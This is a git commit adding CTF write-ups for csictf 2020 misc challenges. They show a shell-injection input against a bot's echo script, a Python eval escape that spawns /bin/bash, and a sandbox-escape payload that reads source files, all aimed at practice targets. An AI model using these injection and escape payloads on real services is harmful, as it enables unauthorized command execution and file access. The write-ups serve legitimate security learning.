Added Miscellaneous Challenges
This commit is contained in:
parent
783e212ca7
commit
aca8780568
|
@ -0,0 +1,34 @@
|
|||
## BroBot
|
||||
The main idea finding the flag is just using Bot to get the flag.
|
||||
|
||||
#### Step-1:
|
||||
I tried `/about` to get information about the bot and got this:
|
||||
|
||||
```python
|
||||
CTF - https://ctf.csivit.com/
|
||||
Our Team - https://ctftime.org/team/77170/
|
||||
Homepage - https://csivit.com/
|
||||
Contribute - https://github.com/alias-rahil/speakingbot.git/
|
||||
CTF Support - https://discord.com/invite/9wHPB2B/
|
||||
BoT Support - @alias_rahil
|
||||
```
|
||||
#### Step-2:
|
||||
I used `/text2voice`. I linked to the source of the bot. It writes our text as `arg` for `echo` in a bash script. Then pipes the script's output to `espeak` to get the sound.
|
||||
|
||||
#### Step-3:
|
||||
I got this from [writeup](https://github.com/goswami-rahul/ctf/tree/master/csictf2020/brobot) to execute.
|
||||
|
||||
```bash
|
||||
fs = open(f"/home/ctf/{update.message.from_user.id}", "w")
|
||||
fs.write(f"echo '{text}'")
|
||||
fs.close()
|
||||
os.system(
|
||||
f"su ctf -c 'sh /home/ctf/{update.message.from_user.id} | espeak -w /home/ctf/{update.message.from_user.id}.wav --stdin'"
|
||||
)
|
||||
```
|
||||
|
||||
Then a simple `';cat flag.txt;'` gives us the answer.
|
||||
|
||||
#### Step-4:
|
||||
Finally the flag becomes:
|
||||
`csictf{ai_will_take_over_the_world}`
|
Binary file not shown.
After Width: | Height: | Size: 18 KiB |
|
@ -0,0 +1,84 @@
|
|||
## Escape Plan
|
||||
The main idea finding the flag is just spawning into a sandbox.
|
||||
|
||||
#### Step-1:
|
||||
When we run `nc chall.csivit.com 30419`, we are greeted with,
|
||||
|
||||
```bash
|
||||
Welcome to cipher decoder, an open-source script in python!
|
||||
|
||||
EXAMPLES:
|
||||
shift_cipher_key('hello', 25)
|
||||
shift_cipher_bruteforce('hello')
|
||||
encrypt_vigenere('TEXT', 'KEY')
|
||||
decrypt_vigenere('DIVD', 'KEY')
|
||||
|
||||
Currently supported ciphers:
|
||||
shift_cipher_key(text, shift)
|
||||
shift_cipher_bruteforce(text)
|
||||
encrypt_vigenere(plaintext, key)
|
||||
decrypt_vigenere(ciphertext, key)
|
||||
|
||||
To exit:
|
||||
exit()
|
||||
|
||||
I am constantly trying to make this cipher decoder better and more secure! Help me add support to more ciphers by submitting a PR!
|
||||
Hope it helps you!
|
||||
```
|
||||
|
||||
#### Step-2:
|
||||
So to escape, I tried `eval('__import__("os").system("/bin/bash")')` and I was in.
|
||||
|
||||
Once in I directly checked, `ls -al`, and I got this:
|
||||
|
||||
```bash
|
||||
total 20
|
||||
drwxr-x--- 1 root ctf 4096 Jul 22 06:35 .
|
||||
drwxr-xr-x 1 root root 4096 Jul 26 16:58 ..
|
||||
drwxr-x--- 1 root ctf 4096 Jul 22 06:27 .git
|
||||
-rwxr-x--- 1 root ctf 2654 Jul 22 06:27 crypto.py
|
||||
-rwxr-x--- 1 root ctf 52 Jul 22 06:27 start.sh
|
||||
```
|
||||
|
||||
#### Step-3:
|
||||
I checked other files, but I will stick to procedure here. Since the description involved a PR, I checked `.git` first by `cd .git`. I got usual files:
|
||||
|
||||
```bash
|
||||
COMMIT_EDITMSG
|
||||
HEAD
|
||||
config
|
||||
description
|
||||
hooks
|
||||
index
|
||||
info
|
||||
logs
|
||||
objects
|
||||
packed-refs
|
||||
refs
|
||||
```
|
||||
At this point, I generally check `logs` to get an overview over the changes in the repo, but here the permission was denied.
|
||||
|
||||
#### Step-4:
|
||||
So, I checked config files by `cat config` and I got this:
|
||||
|
||||
```bash
|
||||
[core]
|
||||
repositoryformatversion = 0
|
||||
filemode = true
|
||||
bare = false
|
||||
logallrefupdates = true
|
||||
[remote "origin"]
|
||||
url = https://github.com/alias-rahil/crypto-cli
|
||||
fetch = +refs/heads/*:refs/remotes/origin/*
|
||||
[branch "master"]
|
||||
remote = origin
|
||||
merge = refs/heads/master
|
||||
```
|
||||
#### Step-4:
|
||||
Now, I got a URL and checked at the given head and got the flag.
|
||||
|
||||
<img src="Flag.png">
|
||||
|
||||
#### Step-5:
|
||||
Finally the flag becomes:
|
||||
`csictf{2077m4y32_h45_35c4p3d}`
|
|
@ -0,0 +1,226 @@
|
|||
## Friends
|
||||
The main idea finding the flag is just parsing the input smartly.
|
||||
|
||||
#### Step-1:
|
||||
When we download `namo.py`, we are greeted with:
|
||||
|
||||
```python
|
||||
import math
|
||||
import sys
|
||||
|
||||
def fancy(x):
|
||||
a = (1/2) * x
|
||||
b = (1/2916) * ((27 * x - 155) ** 2)
|
||||
c = 4096 / 729
|
||||
d = (b - c) ** (1/2)
|
||||
e = (a - d - 155/54) ** (1/3)
|
||||
f = (a + d - 155/54) ** (1/3)
|
||||
g = e + f + 5/3
|
||||
return g
|
||||
|
||||
def notfancy(x):
|
||||
return x**3 - 5*x**2 + 3*x + 10
|
||||
|
||||
def mathStuff(x):
|
||||
if (x < 3 or x > 100):
|
||||
exit()
|
||||
|
||||
y = fancy(notfancy(x))
|
||||
|
||||
if isinstance(y, complex):
|
||||
y = float(y.real)
|
||||
|
||||
y = round(y, 0)
|
||||
return y
|
||||
|
||||
print("Enter a number: ")
|
||||
sys.stdout.flush()
|
||||
x = round(float(input()), 0)
|
||||
if x == mathStuff(x):
|
||||
print('Fail')
|
||||
sys.stdout.flush()
|
||||
else:
|
||||
print(open('namo.txt').read())
|
||||
sys.stdout.flush()
|
||||
```
|
||||
|
||||
#### Step-2:
|
||||
So I tried basic numbers and it worked according to the given algorithm but however, we could try a float `nan` and then I ran it along with the remote server to enter the `else` condition at the end.
|
||||
|
||||
```bash
|
||||
echo nan | nc chall.csivit.com 30425
|
||||
```
|
||||
Output:
|
||||
|
||||
```bash
|
||||
Enter a number:
|
||||
Mitrooon
|
||||
bhaiyo aur behno "Enter a number"
|
||||
mann ki baat nambar
|
||||
|
||||
agar nambar barabar 1 hai {
|
||||
bhaiyo aur behno "s"
|
||||
}
|
||||
|
||||
nahi toh agar nambar barabar 13 hai {
|
||||
bhaiyo aur behno "_"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 15 hai {
|
||||
bhaiyo aur behno "5"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 22 hai {
|
||||
bhaiyo aur behno "4"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 28 hai {
|
||||
bhaiyo aur behno "k"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 8 hai {
|
||||
bhaiyo aur behno "y"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 17 hai {
|
||||
bhaiyo aur behno "4"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 9 hai {
|
||||
bhaiyo aur behno "_"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 4 hai {
|
||||
bhaiyo aur behno "t"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 3 hai {
|
||||
bhaiyo aur behno "c"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 20 hai {
|
||||
bhaiyo aur behno "r"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 12 hai {
|
||||
bhaiyo aur behno "n"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 0 hai {
|
||||
bhaiyo aur behno "c"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 23 hai {
|
||||
bhaiyo aur behno "t"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 27 hai {
|
||||
bhaiyo aur behno "0"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 10 hai {
|
||||
bhaiyo aur behno "n"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 11 hai {
|
||||
bhaiyo aur behno "4"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 7 hai {
|
||||
bhaiyo aur behno "m"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 25 hai {
|
||||
bhaiyo aur behno "c"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 24 hai {
|
||||
bhaiyo aur behno "_"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 6 hai {
|
||||
bhaiyo aur behno "{"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 16 hai {
|
||||
bhaiyo aur behno "_"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 18 hai {
|
||||
bhaiyo aur behno "_"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 2 hai {
|
||||
bhaiyo aur behno "i"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 5 hai {
|
||||
bhaiyo aur behno "f"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 19 hai {
|
||||
bhaiyo aur behno "g"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 14 hai {
|
||||
bhaiyo aur behno "1"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 21 hai {
|
||||
bhaiyo aur behno "3"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 26 hai {
|
||||
bhaiyo aur behno "0"
|
||||
}
|
||||
|
||||
|
||||
nahi toh agar nambar barabar 29 hai {
|
||||
bhaiyo aur behno "}"
|
||||
}
|
||||
|
||||
nahi toh {
|
||||
bhaiyo aur behno ""
|
||||
}
|
||||
|
||||
achhe din aa gaye
|
||||
```
|
||||
|
||||
#### Step-3:
|
||||
Simple substitution like 0=c, 1=s, 2=i in the context of flag like `csictf{`, would also work. Instead I got this script to get the flag.
|
||||
|
||||
```bash
|
||||
echo nan | nc chall.csivit.com 30425 | grep -A1 'hai {' | sed 's/agar nambar barabar //' | sed 's/nahi toh //' | sed 's/ hai {$/ =/' | sed 's/^\tbhaiyo aur behno \"//' | sed 's/\"$//' | sed 's/--//' | sed ':a;N;$!ba;s/=\n/ /g' | sort -n | uniq | awk '{print $2}' | tr -d '\n'; echo ''
|
||||
```
|
||||
This is a 1 liner and we get the flag after this.
|
||||
|
||||
#### Step-5:
|
||||
Finally the flag becomes:
|
||||
`csictf{my_n4n_15_4_gr34t_c00k}`
|
|
@ -0,0 +1,38 @@
|
|||
import math
|
||||
import sys
|
||||
|
||||
def fancy(x):
|
||||
a = (1/2) * x
|
||||
b = (1/2916) * ((27 * x - 155) ** 2)
|
||||
c = 4096 / 729
|
||||
d = (b - c) ** (1/2)
|
||||
e = (a - d - 155/54) ** (1/3)
|
||||
f = (a + d - 155/54) ** (1/3)
|
||||
g = e + f + 5/3
|
||||
return g
|
||||
|
||||
def notfancy(x):
|
||||
return x**3 - 5*x**2 + 3*x + 10
|
||||
|
||||
def mathStuff(x):
|
||||
if (x < 3 or x > 100):
|
||||
exit()
|
||||
|
||||
y = fancy(notfancy(x))
|
||||
|
||||
if isinstance(y, complex):
|
||||
y = float(y.real)
|
||||
|
||||
y = round(y, 0)
|
||||
return y
|
||||
|
||||
print("Enter a number: ")
|
||||
sys.stdout.flush()
|
||||
x = round(float(input()), 0)
|
||||
if x == mathStuff(x):
|
||||
print('Fail')
|
||||
sys.stdout.flush()
|
||||
else:
|
||||
print(open('namo.txt').read())
|
||||
sys.stdout.flush()
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
## Machine Fix
|
||||
The main idea finding the flag is just understanding the algorithm.
|
||||
|
||||
#### Step-1:
|
||||
|
||||
After I downloaded `code.py`, I tried to understand the workflow here:
|
||||
|
||||
```python
|
||||
def convert (n):
|
||||
if n == 0:
|
||||
return '0'
|
||||
nums = []
|
||||
while n:
|
||||
n, r = divmod(n, 3)
|
||||
nums.append(str(r))
|
||||
return ''.join(reversed(nums))
|
||||
|
||||
count=0
|
||||
n=1
|
||||
while(n<=523693181734689806809285195318):
|
||||
str1=convert(n)
|
||||
str2=convert(n-1)
|
||||
str2='0'*(len(str1)-len(str2))+str2
|
||||
for i in range(len(str1)):
|
||||
if(str1[i]!=str2[i]):
|
||||
count+=1
|
||||
n+=1
|
||||
|
||||
print(count)
|
||||
```
|
||||
|
||||
#### Step-2:
|
||||
For every number n, n and n - 1 are converted to base 3 & then, the program compare the digits, the number of differences is added to total.
|
||||
|
||||
So I wrote a simple `flag.py` script to get flag:
|
||||
|
||||
```python
|
||||
def flag(n):
|
||||
sum = 0
|
||||
while (n > 0):
|
||||
sum += n
|
||||
n //= 3
|
||||
return sum
|
||||
|
||||
print(flag(523693181734689806809285195318))
|
||||
```
|
||||
On running it by `python3 flag.py`
|
||||
|
||||
#### Step-3:
|
||||
Finally the flag becomes:
|
||||
`csictf{785539772602034710213927792950}`
|
|
@ -0,0 +1,21 @@
|
|||
def convert (n):
|
||||
if n == 0:
|
||||
return '0'
|
||||
nums = []
|
||||
while n:
|
||||
n, r = divmod(n, 3)
|
||||
nums.append(str(r))
|
||||
return ''.join(reversed(nums))
|
||||
|
||||
count=0
|
||||
n=1
|
||||
while(n<=523693181734689806809285195318):
|
||||
str1=convert(n)
|
||||
str2=convert(n-1)
|
||||
str2='0'*(len(str1)-len(str2))+str2
|
||||
for i in range(len(str1)):
|
||||
if(str1[i]!=str2[i]):
|
||||
count+=1
|
||||
n+=1
|
||||
|
||||
print(count)
|
|
@ -0,0 +1,8 @@
|
|||
def flag(n):
|
||||
sum = 0
|
||||
while (n > 0):
|
||||
sum += n
|
||||
n //= 3
|
||||
return sum
|
||||
|
||||
print(flag(523693181734689806809285195318))
|
Binary file not shown.
After Width: | Height: | Size: 156 KiB |
|
@ -0,0 +1,15 @@
|
|||
## No DIStractions
|
||||
The main idea finding the flag is getting the flag from Discord Bot.
|
||||
|
||||
#### Step-1:
|
||||
|
||||
The tag `Discord` clearly implies that you have to check something out there. So, I went to misc channel and checked out this bot called `Kuwu`.
|
||||
|
||||
#### Step-2:
|
||||
After trying `flag`, `./flag`, etc., it worked on `.flag`.
|
||||
|
||||
<img src ="Flag.png">
|
||||
|
||||
#### Step-3:
|
||||
Finally the flag becomes:
|
||||
`csictf{m0r3_huMaN_than_Y0u}`
|
|
@ -0,0 +1,79 @@
|
|||
## Prison Break
|
||||
The main idea finding the flag is just escaping Python Sandbox.
|
||||
|
||||
#### Step-1:
|
||||
After I ran `nc chall.csivit.com 30407`, we get this a python sandbox.
|
||||
|
||||
I tried various commands like flag and ctf and all, but nothing worked.
|
||||
|
||||
#### Step-2:
|
||||
Thanks to organiser, they gave some hint: https://ctf-wiki.github.io/ctf-wiki/pwn//linux/sandbox/python-sandbox-escape/
|
||||
|
||||
#### Step-3:
|
||||
There I got this 1 liner to escape the sandbox.
|
||||
|
||||
**Payload:**
|
||||
```python
|
||||
print(().__class__.__bases__[0].__subclasses__()[40](__file__).read())
|
||||
```
|
||||
|
||||
I got the source code, which had the flag.
|
||||
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import sys
|
||||
|
||||
class Sandbox(object):
|
||||
def execute(self, code_string):
|
||||
exec(code_string)
|
||||
sys.stdout.flush()
|
||||
|
||||
sandbox = Sandbox()
|
||||
|
||||
_raw_input = raw_input
|
||||
|
||||
main = sys.modules["__main__"].__dict__
|
||||
orig_builtins = main["__builtins__"].__dict__
|
||||
|
||||
builtins_whitelist = set((
|
||||
#exceptions
|
||||
'ArithmeticError', 'AssertionError', 'AttributeError', 'Exception',
|
||||
|
||||
#constants
|
||||
'False', 'None', 'True',
|
||||
|
||||
#types
|
||||
'basestring', 'bytearray', 'bytes', 'complex', 'dict',
|
||||
|
||||
#functions
|
||||
'abs', 'bin', 'dir', 'help'
|
||||
|
||||
# blocked: eval, execfile, exit, file, quit, reload, import, etc.
|
||||
))
|
||||
|
||||
for builtin in orig_builtins.keys():
|
||||
if builtin not in builtins_whitelist:
|
||||
del orig_builtins[builtin]
|
||||
|
||||
print("Find the flag.")
|
||||
sys.stdout.flush()
|
||||
|
||||
def flag_function():
|
||||
flag = "csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}"
|
||||
|
||||
while 1:
|
||||
try:
|
||||
sys.stdout.write(">>> ")
|
||||
sys.stdout.flush()
|
||||
code = _raw_input()
|
||||
sandbox.execute(code)
|
||||
|
||||
except Exception:
|
||||
print("You have encountered an error.")
|
||||
sys.stdout.flush()
|
||||
```
|
||||
|
||||
#### Step-4:
|
||||
Finally the flag becomes:
|
||||
`csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}`
|
Loading…
Reference in New Issue